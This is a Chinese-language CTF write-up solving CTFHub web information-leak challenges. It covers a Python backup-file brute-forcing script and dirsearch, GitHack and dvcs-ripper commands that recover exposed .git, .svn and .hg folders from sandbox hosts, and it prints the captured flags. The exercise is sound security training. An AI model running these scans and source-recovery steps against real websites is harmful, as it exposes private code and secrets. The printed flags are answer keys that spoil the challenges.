题目所在位置:技能树->web->信息泄漏
目录遍历
打开题目,我们进入的是这个页面
翻译过来就是
得到的信息就是:flag要在这些目录里面寻找,我们直接一个一个点开查看就行
发现得到一个flag.txt,点击打开得到flag
PHPINFO
进入题目
点击查看phpinfo,直接ctrl+f查找flag,就可以得到flag
备份文件下载
1.网站源码
进入题目
使用:python脚本跑出/也可以使用dirsearch命令行输出
详细了解dirsearch命令:dirsearch命令组合参考-CSDN博客
import requests
url = "http://challenge-0aaab7f3ea0755c7.sandbox.ctfhub.com:10800/"
li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in li1:
for j in li2:
url_final = url + "/" + i + "." + j
r = requests.get(url_final)
print(str(r)+"+"+url_final)
得出结果有一个www.zip的链接,我们直接点击访问
将进入以下页面,直接下载就行
在打开文件,进行压缩,打开发现里面有一个flag.txt,发现里面并没有我们需要的flag
我们在通过网页访问flag.txt,就得到flag了
ctfhub{d90c8480a16e2e5a5d3a985e}
2.bak文件
题目
翻译过来是
我们就可以直接在链接后面添加index.php.bak
接下来打开这个文件,就可以获得flag
ctfhub{6a1faedeb06945e8758dd5de}
3.vim缓存
题目
首先我们要知道什么是vim缓存?
Vim 是一个高度可配置的文本编辑器,广泛用于编程和其他文本编辑任务。Vim 在编辑文件时,有时会在当前目录下生成一个 .swp 文件,这通常被称为“交换文件”或“缓存文件”。
通过了解知道vim缓存文件的后缀名为 .swp 根据提示我们知道flag在index.php中,而一般情况下vim缓存文件都是隐藏的,我们要找的他的flag就可以直接在.index.php后面跟一个.swp
但是我们在这么输入过后,得到的是“未找到”,但是却得到了一份文件,我们下载好这份文件,并使用记事本打开,就可以得到flag
ctfhub{646ab52ec9287e9f9d168680}
4..DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
题目
在链接后面添加 /.DS_Store 下载文件,并使用记事本打开,发现里面是一串乱码
分析$ 1 8 5 7 3 a b 3 6 7 5 3 1 0 c 7 9 b 1 f 9 0 0 3 d 5 e 1 6 3 b b . t x tnoteustr f l a g h e r e !
得出$ 1 8 5 7 3 a b 3 6 7 5 3 1 0 c 7 9 b 1 f 9 0 0 3 d 5 e 1 6 3 b b . t x t注释 flag在这
将txt前面的去掉空格(这里我们使用python去掉空格),在使用浏览器访问txt,得到flag。
ctfhub{4e2f6bed9a7509c7e6fc687b}
a = ' 1 8 5 7 3 a b 3 6 7 5 3 1 0 c 7 9 b 1 f 9 0 0 3 d 5 e 1 6 3 b b . t x t'
a_without_spaces = a.replace(' ', '')
print(a_without_spaces)
运行结果为:18573ab3675310c79b1f9003d5e163bb.txt
Git泄漏
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git 目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。
漏洞利用工具: GitHack
#kali自带有git
在Kali Linux上安装Git
首先,你需要更新你的Kali Linux的软件包列表
sudo apt update
然后,你可以使用apt包管理器来安装Git
sudo apt install git
最后,验证安装
git --version
log
题目(当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题)
1.使用dirsearch扫描目录,判断是否是git泄漏
存在git泄漏
2.使用使用Githack扫描git文件
stash
题目(当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题)
直接使用githack扫描文件
index
工具:kali
分为两个步骤:
1.先使用dirsearch扫描目录
sudo apt-get install dirsearch #安装dirsearch包
sudo dirsearch -u "http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/" #目录扫描
# -u:用于指定要扫描的URL。
ls
cd site
ls
cd challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/
ls
git log #表示扫描程序正在获取当前 Git 仓库的提交历史信息。这有助于识别任何潜在的安全漏洞或问题。
git config --global --add safe.directory /home/kali/Desktop/GitHack/site/challenge-74ace4f302db1181.sandbox.ctfhub.com:10800 #在Git中配置一个名为 safe.directory 的全局设置。用于指定一个安全目录或特定目标以供扫描程序执行操作。
ls
git log
扫描结果是他有存在git泄漏
2.使用Githack扫描git文件
sudo pip install githack
sudo githack http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/.git/
SVN泄漏
SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。网站管理员在发布代码时,没有使用'导出’功能而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利用.svn/entries文件,获取到服务器源码。
漏洞利用工具:dvcs-ripper
修复建议:删除web目录中所有.svn隐藏文件夹,开发人员在使用SVN时,严格使用导出功能,禁止直接复制代码。
题目:
1.下载了dvcs-ripper直接拖进kali,再进入dvcs-ripper,安装工具库
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
2.将泄露的文件下载到本地目录中
./rip-svn.pl -u http://challenge-fd61f12637dfbdd7.sandbox.ctfhub.com:10800/.svn
3.查看
4.访问wc.db数据查看是否有此题flag,ctfhub
cat wc.db | grep -a flag
cat wc.db | grep -a ctfhub
5.使用curl命令访问可以文件检查网页源代码是否存在flag,检查均返回404,网页无法正常展示而出现
curl http://challenge-fd61f12637dfbdd7.sandbox.ctfhub.com:10800/flag_1977112349.txt
6.题目提示:Flag 在服务端旧版本的源代码中,检查一下pristine文件是否存放flag
cd pristine
7.查看48文件夹是否存在flag,发现查看文件夹中的.svn-base文件中存在flag
HG泄漏
Mercurial 是一种轻量级分布式版本控制系统,使用 hginit的时候会生成.hg。
漏洞利用工具:dvcs-ripper
github项目地址:https://github.com/kost/dvcs-ripper
用法示例:
rip-hg.pl -v -u http://www.example.com/.hg/
题目:
1.将泄露的文件下载到本地目录中
./rip-hg.pl -u http://challenge-198bce2d491bcb71.sandbox.ctfhub.com:10800/.hg
2.查看
ls -al
3.使用tree命令列出刚刚下载的.hg网站目录,发现last-message.txt
tree .hg
4.查看last-message.txt是否存在flag,发现历史版本add flag
cat .hg/last-message.txt
5.发现历史版本可以使用正则表达式进行关键字查找(递归搜索包含“flag”这个词的文件),找到 flag_833118765.txt
grep -a -r flag
6.使用curl命令访问可以文件检查源代码是否存在flag
curl http://challenge-198bce2d491bcb71.sandbox.ctfhub.com:10800/flag_833118765.txt